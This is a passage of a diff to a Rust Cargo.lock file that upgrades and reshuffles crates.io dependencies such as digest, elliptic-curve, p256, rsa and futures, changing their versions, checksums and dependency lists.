"ac3984ec7bd6cfa798e62b4a642426a5be0e68f9401cfc2a01e3fa9ea2fcdb8d" +checksum = "2ac7135c3ef02b2f7833bbeb1be5ba7f966dcde8a87c6b87f65a778d71a02785" dependencies = [ "darling_core", "quote", - "syn", + "syn 3.0.9", ] [[package]] @@ -548,9 +628,9 @@ checksum = "a4ae5f15dda3c708c0ade84bfee31ccab44a3da4f88015ed22f63732abe300c8" [[package]] name = "der" -version = "0.7.10" +version = "0.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +checksum = "6a996a108feb8b427a6e12fcf6af4aa83409b79d72c15337d7741368131ee004" dependencies = [ "const-oid", "pem-rfc7468", @@ -586,10 +666,21 @@ version = "0.10.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" dependencies = [ - "block-buffer", + "block-buffer 0.10.4", + "crypto-common 0.1.6", +] + +[[package]] +name = "digest" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1dd6dbb5841937940781866fa1281a1ff7bd3bf827091440879f9994983d5c2" +dependencies = [ + "block-buffer 0.12.1", "const-oid", - "crypto-common", - "subtle", + "crypto-common 0.2.2", + "ctutils", + "zeroize", ] [[package]] @@ -600,37 +691,40 @@ checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] name = "dsa" -version = "0.6.3" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "48bc224a9084ad760195584ce5abb3c2c34a225fa312a128ad245a6b412b7689" +checksum = "5c8573b60d07b5b5cecadc1f978c9b71d5504151e703cbb0439ee4ad301338f3" dependencies = [ - "digest", - "num-bigint-dig", - "num-traits", + "crypto-bigint", + "crypto-common 0.2.2", + "crypto-primes", + "der", + "digest 0.11.3", "pkcs8", "rfc6979", - "sha2", + "sha2 0.11.1", "signature", "zeroize", ] [[package]] name = "ecdsa" -version = "0.16.9" +version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca" +checksum = "c0681a4fc24c767085329728d8dfba959af91228aa4610cca4f8ce317ba46ae0" dependencies = [ "der", - "digest", + "digest 0.11.3", "elliptic-curve", "rfc6979", "signature", "spki", + "zeroize", ] [[package]] @@ -641,17 +735,17 @@ checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" [[package]] name = "elliptic-curve" -version = "0.13.8" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47" +checksum = "900f37e7e18d74a2347389af6cd69e3a30d5cc9e697f40004865679aa75e9c7c" dependencies = [ "base16ct", "crypto-bigint", - "digest", + "crypto-common 0.2.2", + "digest 0.11.3", "ff", - "generic-array", "group", - "hkdf", + "hybrid-array", "pem-rfc7468", "pkcs8", "rand_core", @@ -702,14 +796,20 @@ checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6" [[package]] name = "ff" -version = "0.13.1" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393" +checksum = "a1f686ab92a9fb0eaf188f6c6c87b89490baa6fdb0db4544ba4dc47f7942489f" dependencies = [ "rand_core", "subtle", ] +[[package]] +name = "fiat-crypto" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64cd1e32ddd350061ae6edb1b082d7c54915b5c672c389143b9a63403a109f24" + [[package]] name = "find-msvc-tools" version = "0.1.9" @@ -718,9 +818,9 @@ checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" [[package]] name = "flate2" -version = "1.1.9" +version = "1.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "843fba2746e448b37e26a819579957415c8cef339bf08564fe8b7ddbd959573c" +checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb" dependencies = [ "crc32fast", "miniz_oxide", @@ -733,12 +833,6 @@ version = "1.0.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" -[[package]] -name = "foldhash" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" - [[package]] name = "foldhash" version = "0.2.0" @@ -751,26 +845,66 @@ version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" +[[package]] +name = "futures" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a31d2a3fbaaeb2af2368bbdd904aa8e812d3c04a1ee10d3171f52d556e5d0a3" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f9e3d69d39e4862ffed03ed071a76f9a13ba1d9109d355b0f0aa6b15e393c4" +dependencies = [ + "futures-core", + "futures-sink", +] + [[package]] name = "futures-core" -version = "0.3.32" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d699e522242e69e3003b94ecc1f960f3a5e015aa7c5d7486e65ad01dd94f5e" + +[[package]] +name = "futures-io" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53c0fa8157de1303bfffdaa1cc2a673bfffb60102f76b0ef4441659124373fed" + +[[package]] +name = "futures-sink" +version = "0.3.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" +checksum = "1944426bf7d03f1d14f708785e4b33efd750b36d48a157b836b3efc15ede8e1d" [[package]] name = "futures-task" -version = "0.3.32" +version = "0.3.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" +checksum = "cd417de3d1d015fc3bfd2b1ea46dfc7bab72ef86f1cc7cc9c78e728b34a6d1fd" [[package]] name = "futures-util" -version = "0.3.32" +version = "0.3.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +checksum = "0d50a92467f8ba5dd6e3ee5d4bd04d73ab2e4e1c44474a0674821dfce14b79bc" dependencies = [ + "futures-channel", "futures-core", + "futures-io", + "futures-sink", "futures-task", + "memchr", "pin-project-lite", "slab", ] @@ -783,33 +917,20 @@ checksum = "4bb6743198531e02858aeaea5398fcc883e71851fcbcb5a2f773e2fb6cb1edf2" dependencies = [ "typenum", "version_check", - "zeroize", ] [[package]] name = "getrandom" -version = "0.2.17" +version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" dependencies = [ "cfg-if", "js-sys", "libc", - "wasi", - "wasm-bindgen", -] - -[[package]] -name = "getrandom" -version = "0.4.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0de51e6874e94e7bf76d726fc5d13ba782deca734ff60d5bb2fb2607c7406555" -dependencies = [ - "cfg-if", - "libc", "r-efi", - "wasip2", - "wasip3", + "rand_core", + "wasm-bindgen", ] [[package]] @@ -861,9 +982,9 @@ dependencies = [ [[package]] name = "group" -version = "0.13.0" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63" +checksum = "7fd1a1c7a5206c5b7a3f5a0d7ccd3ff85d0c8f5133d62a02680255b0004af5f4" dependencies = [ "ff", "rand_core", @@ -876,22 +997,13 @@ version = "0.14.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" -[[package]] -name = "hashbrown" -version = "0.15.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" -dependencies = [ - "foldhash 0.1.5", -] - [[package]] name = "hashbrown" version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" dependencies = [ - "foldhash 0.2.0", + "foldhash", "serde", "serde_core", ] @@ -901,6 +1013,11 @@ name = "hashbrown" version = "0.17.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" +dependencies = [ + "foldhash", + "serde", + "serde_core", +] [[package]] name = "heck" @@ -914,22 +1031,13 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" -[[package]] -name = "hkdf" -version = "0.12.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" -dependencies = [ - "hmac", -] - [[package]] name = "hmac" -version = "0.12.1" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +checksum = "6303bc9732ae41b04cb554b844a762b4115a61bfaa81e3e83050991eeb56863f" dependencies = [ - "digest", + "digest 0.11.3", ] [[package]] @@ -941,6 +1049,17 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "hybrid-array" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27f864f10dfb56725ce5ce5472bc52252c8f93a4ab86327122cebf62c5f59a17" +dependencies = [ + "subtle", + "typenum", + "zeroize", +] + [[package]] name = "iana-time-zone" version = "0.1.65" @@ -995,9 +1114,9 @@ dependencies = [ [[package]] name = "indexmap" -version = "2.14.0" +version = "2.14.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855" dependencies = [ "equivalent", "hashbrown 0.17.1", @@ -1013,18 +1132,18 @@ checksum = "8eca9188c1b20836bb561bc09bb2f54e9ca99b271031b5f3ff183a00c08c98c8" [[package]] name = "inventory" -version = "0.3.24" +version = "0.3.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4f0c30c76f2f4ccee3fe55a2435f691ca00c0e4bd87abe4f4a851b1d4dac39b" +checksum = "6928282826c822ad91bf1c9a1cb90a30ba1c26770749929b4656cd6be829cd7c" dependencies = [ "rustversion", ] [[package]] name = "ipnet" -version = "2.12.0" +version = "2.12.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" +checksum = "791930b43c0d5973160d90a8f3894509f2b273430f5c5c73b668636d0287c5c0" [[package]] name = "itertools" @@ -1035,6 +1154,15 @@ dependencies = [ "either", ] +[[package]] +name = "itertools" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b4baf93f58d4425749ca49a51c50ebab072c5df6994d08fed93541c331481dc" +dependencies = [ + "either", +] + [[package]] name = "itoa" version = "1.0.18" @@ -1043,9 +1171,9 @@ checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" [[package]] name = "js-sys" -version = "0.3.103" +version = "0.3.107" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "53b44bfcdb3f8d5837a46dae1ca9660a837176eee74a28b229bc626816589102" +checksum = "8dc09d2154098bbf4ef54eab6b117a3c24cbbffe94046b16ee6d6d4510584d3a" dependencies = [ "cfg-if", "futures-util", @@ -1057,9 +1185,6 @@ name = "lazy_static" version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" -dependencies = [ - "spin", -] [[package]] name = "leb128" @@ -1105,71 +1230,66 @@ checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" [[package]] name = "logos" -version = "0.15.1" +version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff472f899b4ec2d99161c51f60ff7075eeb3097069a36050d8037a6325eb8154" +checksum = "eb2c55a318a87600ea870ff8c2012148b44bf18b74fad48d0f835c38c7d07c5f" dependencies = [ "logos-derive", ] [[package]] name = "logos-codegen" -version = "0.15.1" +version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "192a3a2b90b0c05b27a0b2c43eecdb7c415e29243acc3f89cc8247a5b693045c" +checksum = "58b3ffaa284e1350d017a57d04ada118c4583cf260c8fb01e0fe28a2e9cf8970" dependencies = [ - "beef", "fnv", - "lazy_static", "proc-macro2", "quote", + "regex-automata", "regex-syntax", - "rustc_version", - "syn", + "syn 2.0.117", ] [[package]] name = "logos-derive" -version = "0.15.1" +version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "605d9697bcd5ef3a42d38efc51541aa3d6a4a25f7ab6d1ed0da5ac632a26b470" +checksum = "52d3a9855747c17eaf4383823f135220716ab49bea5fbea7dd42cc9a92f8aa31" dependencies = [ "logos-codegen", ] [[package]] name = "mach2" -version = "0.4.3" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d640282b302c0bb0a2a8e0233ead9035e3bed871f0b7e81fe4a1ec829765db44" -dependencies = [ - "libc", -] +checksum = "dae608c151f68243f2b000364e1f7b186d9c29845f7d2d85bd31b9ad77ad552b" [[package]] name = "md-5" -version = "0.10.6" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" +checksum = "69b6441f590336821bb897fb28fc622898ccceb1d6cea3fde5ea86b090c4de98" dependencies = [ "cfg-if", - "digest", + "digest 0.11.3", ] [[package]] name = "md2" -version = "0.10.2" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f4f0f3ed25ff4f8d8d102288d92f900efc202661c884cf67dfe4f0d07c43d1f" +checksum = "1d503fa42a36d0bae709eee924b9531ac3dd5a7f30e47d85185fa7d3ea588a08" dependencies = [ - "digest", + "digest 0.11.3", ] [[package]] name = "memchr" -version = "2.8.2" +version = "2.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "88904434abc2901f197fe8cc55f0445e7ded921dba5911dad2e2b39b48e663c4" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" [[package]] name = "memfd" @@ -1182,13 +1302,22 @@ dependencies = [ [[package]] name = "memmap2" -version = "0.9.10" +version = "0.9.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "714098028fe011992e1c3962653c96b2d578c4b4bce9036e15ff220319b1e0e3" +checksum = "6b0ca1155a9ecc25aa12e8313a119f32edf0255fea2f44839c4ac0a12b2ac157" dependencies = [ "libc", ] +[[package]] +name = "memoffset" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" +dependencies = [ + "autocfg", +] + [[package]] name = "minimal-lexical" version = "0.2.1" @@ -1197,14 +1326,26 @@ checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] name = "miniz_oxide" -version = "0.8.9" +version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c" dependencies = [ "adler2", "simd-adler32", ] +[[package]] +name = "nix" +version = "0.31.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", +] + [[package]] name = "nom" version = "7.1.3" @@ -1234,22 +1375,6 @@ dependencies = [ "num-traits", ] -[[package]] -name = "num-bigint-dig" -version = "0.8.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e661dda6640fad38e827a6d4a310ff4763082116fe217f279885c97f511bb0b7" -dependencies = [ - "lazy_static", - "libm", - "num-integer", - "num-iter", - "num-traits", - "rand", - "smallvec", - "zeroize", -] - [[package]] name = "num-conv" version = "0.2.1" @@ -1258,13 +1383,13 @@ checksum = "c6673768db2d862beb9b39a78fdcb1a69439615d5794a1be50caa9bc92c81967" [[package]] name = "num-derive" -version = "0.4.2" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202" +checksum = "e4e98dc3b890f6c23a0f9d3d491a2823d0dea0fa656302a13dd225fa924112a8" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 3.0.9", ] [[package]] @@ -1276,17 +1401,6 @@ dependencies = [ "num-traits", ] -[[package]] -name = "num-iter" -version = "0.1.45" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" -dependencies = [ - "autocfg", - "num-integer", - "num-traits", -] - [[package]] name = "num-traits" version = "0.2.19" @@ -1294,17 +1408,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" dependencies = [ "autocfg", - "libm", ] [[package]] name = "object" -version = "0.38.1" +version = "0.39.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "271638cd5fa9cca89c4c304675ca658efc4e64a66c716b7cfe1afb4b9611dbbc" +checksum = "2e5a6c098c7a3b6547378093f5cc30bc54fd361ce711e05293a5cc589562739b" dependencies = [ "crc32fast", - "hashbrown 0.16.1", + "hashbrown 0.17.1", "indexmap", "memchr", ] @@ -1326,33 +1439,36 @@ checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" [[package]] name = "p256" -version = "0.13.2" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b" +checksum = "d2c9239b2dbc807adbbe147e8cf72ea7450c3a0aabe62cb8e75ff4ec22e1f72a" dependencies = [ "ecdsa", "elliptic-curve", + "primefield", "primeorder", - "sha2", + "sha2 0.11.1", ] [[package]] name = "p384" -version = "0.13.1" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6" +checksum = "d17b851e6b3e378ab4ecb07fa2ed23f4d15f075735f8fec9fa1e7bdce5f8301f" dependencies = [ "ecdsa", "elliptic-curve", + "fiat-crypto", + "primefield", "primeorder", - "sha2", + "sha2 0.11.1", ] [[package]] name = "pem-rfc7468" -version = "0.7.0" +version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +checksum = "a6305423e0e7738146434843d1694d621cce767262b2a86910beab705e4493d9" dependencies = [ "base64ct", ] @@ -1365,20 +1481,19 @@ checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" [[package]] name = "pkcs1" -version = "0.7.5" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +checksum = "6250dd7321adbe93d12b750aee0ced159fd13e77f625edcdf1cb6f83cd99f650" dependencies = [ "der", - "pkcs8", "spki", ] [[package]] name = "pkcs8" -version = "0.10.2" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +checksum = "451913da69c775a56034ea8d9003d27ee8948e12443eae7c038ba100a4f21cb7" dependencies = [ "der", "spki", @@ -1403,38 +1518,37 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" [[package]] -name = "ppv-lite86" -version = "0.2.21" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" -dependencies = [ - "zerocopy", -] - -[[package]] -name = "prettyplease" -version = "0.2.37" +name = "primefield" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +checksum = "c555a6e4eb7d4e158fcb028c835c3b8642206ddc279b5c6b202ef9a8bdb592f4" dependencies = [ - "proc-macro2", - "syn", + "crypto-bigint", + "crypto-common 0.2.2", + "ff", + "rand_core", + "subtle", + "zeroize", ] [[package]] name = "primeorder" -version = "0.13.6" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6" +checksum = "5c9f42978c78a00e3d68f69fc03e57a234debae69da4020a4fb588fcdcd07b06" dependencies = [ "elliptic-curve", + "once_cell", + "primefield", + "serdect", + "wnaf", ] [[package]] name = "proc-macro2" -version = "1.0.106" +version = "1.0.107" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" dependencies = [ "unicode-ident", ] @@ -1492,9 +1606,9 @@ dependencies = [ [[package]] name = "psl" -version = "2.1.216" +version = "2.1.246" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9826c2fe4dade07e9da1af2e18427257877bc8bc27aa810f6fbb52d907a480cc" +checksum = "27d58bd13c235442118460335daf360f0fefaa9035ec4ad957f851d738e7b7d6" dependencies = [ "psl-types", ] @@ -1507,9 +1621,9 @@ checksum = "33cb294fe86a74cbcf50d4445b37da762029549ebeea341421c7c70370f86cac" [[package]] name = "pulley-interpreter" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ec12fe19a9588315a49fe5704502a9c02d6a198303314b0c7c86123b06d29e5" +checksum = "4e6d73adcf2f76b98d3de7a31831b6d6436fd2b6518e0ad4f7cc722a12ad4133" dependencies = [ "cranelift-bitset", "log", @@ -1519,20 +1633,20 @@ dependencies = [ [[package]] name = "pulley-macros" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36f7d5ef31ebf1b46cd7e722ffef934e670d7e462f49aa01cde07b9b76dca580" +checksum = "5bde547f939ab9aa321a54c6694aef2e1e27741c2523c0627ff306677b3cbcff" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] name = "quote" -version = "1.0.45" +version = "1.0.47" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" dependencies = [ "proc-macro2", ] @@ -1549,54 +1663,32 @@ version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" -[[package]] -name = "rand" -version = "0.8.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a" -dependencies = [ - "rand_chacha", - "rand_core", -] - -[[package]] -name = "rand_chacha" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" -dependencies = [ - "ppv-lite86", - "rand_core", -] - [[package]] name = "rand_core" -version = "0.6.4" +version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" -dependencies = [ - "getrandom 0.2.17", -] +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" [[package]] name = "regalloc2" -version = "0.15.1" +version = "0.15.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "de2c52737737f8609e94f975dee22854a2d5c125772d4b1cf292120f4d45c186" +checksum = "757712e8e61590d6d4f5d563483755538b5aa13467837a3b41cd9832509a7f85" dependencies = [ "allocator-api2", "bumpalo", "hashbrown 0.17.1", "log", - "rustc-hash 2.1.2", + "rustc-hash 2.1.3", + "serde", "smallvec", ] [[package]] name = "regex" -version = "1.12.4" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1292b7759ae1cb9ec195452d1390a074f0cd8541ab7a5a8c31cd6db45d4a6ba" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" dependencies = [ "aho-corasick", "memchr", @@ -1606,9 +1698,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.14" +version = "0.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +checksum = "ad8553b9b26413251cbf30e620595c7a41b3887f03da04579c0e6b0d6a06b4b2" dependencies = [ "aho-corasick", "memchr", @@ -1623,22 +1715,23 @@ checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" [[package]] name = "rfc6979" -version = "0.4.0" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2" +checksum = "b4a459cddafb3fe76b31fd8f1108007566c40301feb64dc7b54656eb7388172b" dependencies = [ + "crypto-bigint", "hmac", - "subtle", ] [[package]] name = "rowan" -version = "0.16.1" +version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "417a3a9f582e349834051b8a10c8d71ca88da4211e4093528e36b9845f6b5f21" +checksum = "14b574c58582fa59fa43a2feb6608b8744184659f08a2e0117e4b8224d95ed61" dependencies = [ "countme", "hashbrown 0.14.5", + "memoffset", "rustc-hash 1.1.0", "text-size", ] @@ -1654,24 +1747,31 @@ dependencies = [ [[package]] name = "rsa" -version = "0.9.10" +version = "0.10.0-rc.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8573f03f5883dcaebdfcf4725caa1ecb9c15b2ef50c43a07b816e06799bb12d" +checksum = "2389407c34c6039d7c8740520ec758090883c5b92df93a5edada2779256bf2e0" dependencies = [ "const-oid", - "digest", - "num-bigint-dig", - "num-integer", - "num-traits", + "crypto-bigint", + "crypto-common 0.2.2", + "crypto-primes", + "digest 0.11.3", + "hmac", "pkcs1", "pkcs8", "rand_core", + "sha2 0.11.1", "signature", "spki", - "subtle", "zeroize", ] +[[package]] +name = "rustc-demangle" +version = "0.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b74b56ffa8bb2830709a538c2cbcae9aa062db0d2a42563bfb09bdaae44020eb" + [[package]] name = "rustc-hash" version = "1.1.0" @@ -1680,9 +1780,9 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] name = "rustc-hash" -version = "2.1.2" +version = "2.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94300abf3f1ae2e2b8ffb7b58043de3d399c73fa6f4b73826402a5c457614dbe" +checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d" [[package]] name = "rustc_version" @@ -1745,14 +1845,14 @@ dependencies = [ [[package]] name = "sec1" -version = "0.7.3" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc" +checksum = "d56d437c2f19203ce5f7122e507831de96f3d2d4d3be5af44a0b0a09d8a80e4d" dependencies = [ "base16ct", + "ctutils", "der", - "generic-array", - "pkcs8", + "hybrid-array", "subtle", "zeroize", ] @@ -1762,12 +1862,16 @@ name = "semver" version = "1.0.28" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" +dependencies = 